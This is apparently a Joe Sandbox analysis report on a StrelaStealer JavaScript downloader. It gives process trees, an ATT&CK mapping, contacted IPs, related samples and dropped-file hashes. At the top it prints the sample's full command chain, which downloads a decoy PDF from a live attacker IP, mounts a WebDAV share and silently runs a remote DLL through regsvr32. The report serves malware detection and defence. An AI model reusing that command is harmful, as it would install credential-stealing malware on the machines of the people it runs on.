Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2708993316838119.js	5%	Virustotal		Browse
2708993316838119.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/t9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2728257240.000001BCFC600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1499292988.000001BCFC510000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1506160846.0000020F12D40000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1493045048.0000020F12D8E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1506378807.0000020F12D5C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1506378807.0000020F12D68000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/t9	net.exe, 00000007.00000002.1506160846.0000020F12D40000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588714
Start date and time:	2025-01-11 04:33:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2708993316838119.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.46.156.8, 23.46.156.6, 23.46.156.55, 23.46.156.12, 23.46.156.4, 23.46.156.13, 23.46.156.54, 23.46.156.52, 23.46.156.14, 2.22.50.131, 2.22.50.144, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:34:46	API Interceptor	20x Sleep call for process: powershell.exe modified
22:34:50	API Interceptor	1x Sleep call for process: net.exe modified
22:34:50	API Interceptor	2x Sleep call for process: svchost.exe modified
22:34:58	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021893721942279
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAU:RJE+Lfki1GjHwU/+vVhWqpj
MD5:	16353907DB0637E8C5EBE1F7B900C6FC
SHA1:	5C07DAC6E029D02C5C9D3DC8274CDD115B6D381E
SHA-256:	77266CBE60FE3BB531A9FD224C06E968D255B99A9862D25AE9CB2641E40096F0
SHA-512:	17C25F9480991BB65CAD138942F5EF3DF26558EA50E9D251DE4BD26CEFE61D4D9EE454C91E8F046B13D6B8873A9776DC87960479DD8AFBAEB014956E01A7773E
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf641f427, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.943318499610539
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	5B66E92EEE84779B771B7970E4AA3379
SHA1:	018534F7D18BCEF29FD7BEB2DF90CE64966C0022
SHA-256:	6A1DEE259DB2A667E848B94B5792E5A58637C01D659F36E6AB38BDF14921B725
SHA-512:	DE41FAC5812AECC3D6A2F5DD3A13FA29FDA6E62D94615666617B9C9760DAC44100A951C72E56EE22240C1C86AE8DF6D8C8FF658F91534AAE73AB58E102BBFB0E
Malicious:	false
Preview:	.A.'... ...............X\...;...{......................0.x...... ...{s.3"...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{......................................3"...}....................7!3"...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08183553625994848
Encrypted:	false
SSDEEP:	3:Fall8Yeh58htqll/nqlFcl1ZUllllZSEAmu8b//ollGBnX/l/Tj/k7/t:Fal6zh27qll/qlFclQ/lPAmbTA254
MD5:	CED6859EFDE804DDE43ED2D484E499D8
SHA1:	8794C6EE47BFABBB12802DB1F683B6C80365953A
SHA-256:	17565069927888052AD450815AA41AB0BD6AA7287FB837D46012C6A8B5DF5CA8
SHA-512:	95E1BFFD3F6A2957D74AD9E828D883D52301F68BD1B4061E93819449B5D9AD4DE75158732BAF3C9A13CEB9CB1958529016A41FA5CBC0B9736203BF158CB5BF9E
Malicious:	false
Preview:	-.U......................................;...{..3"...}... ...{s.......... ...{s.. ...{s.P.... ...{s...................7!3"...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.182692289994583
Encrypted:	false
SSDEEP:	6:iO4qXj39+q2PCHhJ2nKuAl9OmbnIFUtSqX3JZmwsqX39VkwOCHhJ2nKuAl9Ombjd:71N+vBHAahFUtF/PV56HAaSJ
MD5:	98942770D8CADB7149B42DAF0FE83049
SHA1:	9164C022D9A4F66B344828242FA1D13D5FF6580E
SHA-256:	FFC7A7ED12C61E4BD1741F2048E3F1C9A8FCC4CDEEE208F8001DB010EB701D8A
SHA-512:	012B984E05F1E9FC9EC848FB624C8D9C679DF4034341D32D7484EAF2A08378156ECF5BB1126A6B9A856F735FE8B69BFF8F30626202D112E2ADD103CEC73204A6
Malicious:	false
Preview:	2025/01/10-22:34:50.590 1fbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:34:50.594 1fbc Recovering log #3.2025/01/10-22:34:50.594 1fbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.182692289994583
Encrypted:	false
SSDEEP:	6:iO4qXj39+q2PCHhJ2nKuAl9OmbnIFUtSqX3JZmwsqX39VkwOCHhJ2nKuAl9Ombjd:71N+vBHAahFUtF/PV56HAaSJ
MD5:	98942770D8CADB7149B42DAF0FE83049
SHA1:	9164C022D9A4F66B344828242FA1D13D5FF6580E
SHA-256:	FFC7A7ED12C61E4BD1741F2048E3F1C9A8FCC4CDEEE208F8001DB010EB701D8A
SHA-512:	012B984E05F1E9FC9EC848FB624C8D9C679DF4034341D32D7484EAF2A08378156ECF5BB1126A6B9A856F735FE8B69BFF8F30626202D112E2ADD103CEC73204A6
Malicious:	false
Preview:	2025/01/10-22:34:50.590 1fbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:34:50.594 1fbc Recovering log #3.2025/01/10-22:34:50.594 1fbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.184400396117496
Encrypted:	false
SSDEEP:	6:iO4qX5B1M+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqX4YZmwsqX4bMVkwOCHhJ2nKuA:711M+vBHAa8uFUtd/yMV56HAa8RJ
MD5:	62557292A8ED4318401B72B769264636
SHA1:	9F18A3307F7735A6D5148E572BC156704B400187
SHA-256:	0D702BBE079F4D79E6D06321DBABE4D3F583D988DA4A77B1E9E6D2D02F262207
SHA-512:	0EB1C3E8719C9976103FA75C0433D17C0379F017CCEB8533E5BF03984C9327FD5CB987E46B2BC38403AFBEB95E0000AA9379541009D9AC27CCA54118FB2C7526
Malicious:	false
Preview:	2025/01/10-22:34:50.639 dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:34:50.643 dfc Recovering log #3.2025/01/10-22:34:50.643 dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.184400396117496
Encrypted:	false
SSDEEP:	6:iO4qX5B1M+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqX4YZmwsqX4bMVkwOCHhJ2nKuA:711M+vBHAa8uFUtd/yMV56HAa8RJ
MD5:	62557292A8ED4318401B72B769264636
SHA1:	9F18A3307F7735A6D5148E572BC156704B400187
SHA-256:	0D702BBE079F4D79E6D06321DBABE4D3F583D988DA4A77B1E9E6D2D02F262207
SHA-512:	0EB1C3E8719C9976103FA75C0433D17C0379F017CCEB8533E5BF03984C9327FD5CB987E46B2BC38403AFBEB95E0000AA9379541009D9AC27CCA54118FB2C7526
Malicious:	false
Preview:	2025/01/10-22:34:50.639 dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:34:50.643 dfc Recovering log #3.2025/01/10-22:34:50.643 dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\37e48979-c029-4a1b-8c3e-b907bf7d29ba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKsBdOg2HNcaq3QYiub6P7E4T3y:Y2sRds2dMH83QYhbS7nby
MD5:	F8717027D9B850FEF709536C828D47DE
SHA1:	DFD44F4963C0831E9F400A4BF89AC67EA2665C6B
SHA-256:	A6746E91B31302342CF103E62887CB344ABC628C93611A549803EA555E236752
SHA-512:	C2DBD82872ABA50837D9230164D63D133B1315AA80FEE90FE1AAD007811C3CFFD3EAC770AD5D23C4FCD8019BF94714400A187B4E48D010567944626C8269E418
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126502258070","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":150586},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKsBdOg2HNcaq3QYiub6P7E4T3y:Y2sRds2dMH83QYhbS7nby
MD5:	F8717027D9B850FEF709536C828D47DE
SHA1:	DFD44F4963C0831E9F400A4BF89AC67EA2665C6B
SHA-256:	A6746E91B31302342CF103E62887CB344ABC628C93611A549803EA555E236752
SHA-512:	C2DBD82872ABA50837D9230164D63D133B1315AA80FEE90FE1AAD007811C3CFFD3EAC770AD5D23C4FCD8019BF94714400A187B4E48D010567944626C8269E418
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126502258070","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":150586},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2390672962523634
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bLD2E0iW92:S43C4mS7fFi0KFYDjr3LWO3V3aw+bLiI
MD5:	D6B949814E11032C70BA13C82AC2DE69
SHA1:	D044C1D1AE867529887F6CD82B0112997AC04A6E
SHA-256:	60A60A14EB61B34CFAECE1E662833976862C967BAE799D87E753905B8F44012D
SHA-512:	996A95B082C5A7280DD59F659BB730A394AB546C2C1761F8EA04E083731925D2B4636B2D0604E4C4D80866E1B0679155799DB91F32E71C448B2CA2801E439410
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.19449065844725
Encrypted:	false
SSDEEP:	6:iO4qX+WM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqX+pDmZmwsqX+S1MVkwOCHhJ2nKuP:7fM+vBHAa8jFUtQq/rMV56HAa84J
MD5:	DB2E8CFC16DB0CD73DD6D66DB239DD4D
SHA1:	05B32C9161EA980F5E4A69E38830633E873CB234
SHA-256:	41BCCDB68C138D104898C8B65099A09D71612C3F0A7AB72713BFDDEB8619C423
SHA-512:	CB23205157C60B6EDDC0ED48E6295BAF0D50386487FBD73016BFB0EDE55216DE7B569BAF2043AE3E7FEA6DB761AA26503C1B393409B5927AED387E14E5E5CA57
Malicious:	false
Preview:	2025/01/10-22:34:51.289 dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:34:51.291 dfc Recovering log #3.2025/01/10-22:34:51.292 dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.19449065844725
Encrypted:	false
SSDEEP:	6:iO4qX+WM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqX+pDmZmwsqX+S1MVkwOCHhJ2nKuP:7fM+vBHAa8jFUtQq/rMV56HAa84J
MD5:	DB2E8CFC16DB0CD73DD6D66DB239DD4D
SHA1:	05B32C9161EA980F5E4A69E38830633E873CB234
SHA-256:	41BCCDB68C138D104898C8B65099A09D71612C3F0A7AB72713BFDDEB8619C423
SHA-512:	CB23205157C60B6EDDC0ED48E6295BAF0D50386487FBD73016BFB0EDE55216DE7B569BAF2043AE3E7FEA6DB761AA26503C1B393409B5927AED387E14E5E5CA57
Malicious:	false
Preview:	2025/01/10-22:34:51.289 dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:34:51.291 dfc Recovering log #3.2025/01/10-22:34:51.292 dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 3, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.2935343625257896
Encrypted:	false
SSDEEP:	192:/edRBSVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:/eUci5H5FY+EUUUTTcHqFzqFP
MD5:	E034821BD74300AA6CD8066B1D484EBA
SHA1:	A3AD3D7CCCD8D277157384C32BA253C277531DDE
SHA-256:	153E27B1BFCBE67E13AEDA665C6A73846507224F00EF72CDEE4F6F223AE10575
SHA-512:	5AF53F4386E3586208CBFEAE5A22338020282245A8150A3964F6D380E1D02FC924F5E8050A53F1D7BA59A9ED801CA063CB31973775A7DA639EA221038E5FBF76
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2046130188282103
Encrypted:	false
SSDEEP:	24:7+tAmMEWewKDqLazkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfy:7MiUDqemFTIF3XmHjBoGGR+jMz+Lhq
MD5:	E0ED52294D1DBA2585B25866FF9F8E07
SHA1:	C2252434C97D9EF30492E4CA5645B9FC5F7D3ADA
SHA-256:	B9452ABB1186CC33AE292E8CD39CD85128180A7FBE97D01C0FD6DF76F5701DC1
SHA-512:	CA13A87401E098E61A117D91FA2B8463928651604B264E476E27C9960C4C5CA518CF7ECAB20B5B1BA9752CADB243EC81219A7E1BFF30E8C19496D6CC9BD548A9
Malicious:	false
Preview:	.... .c.....<..~........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
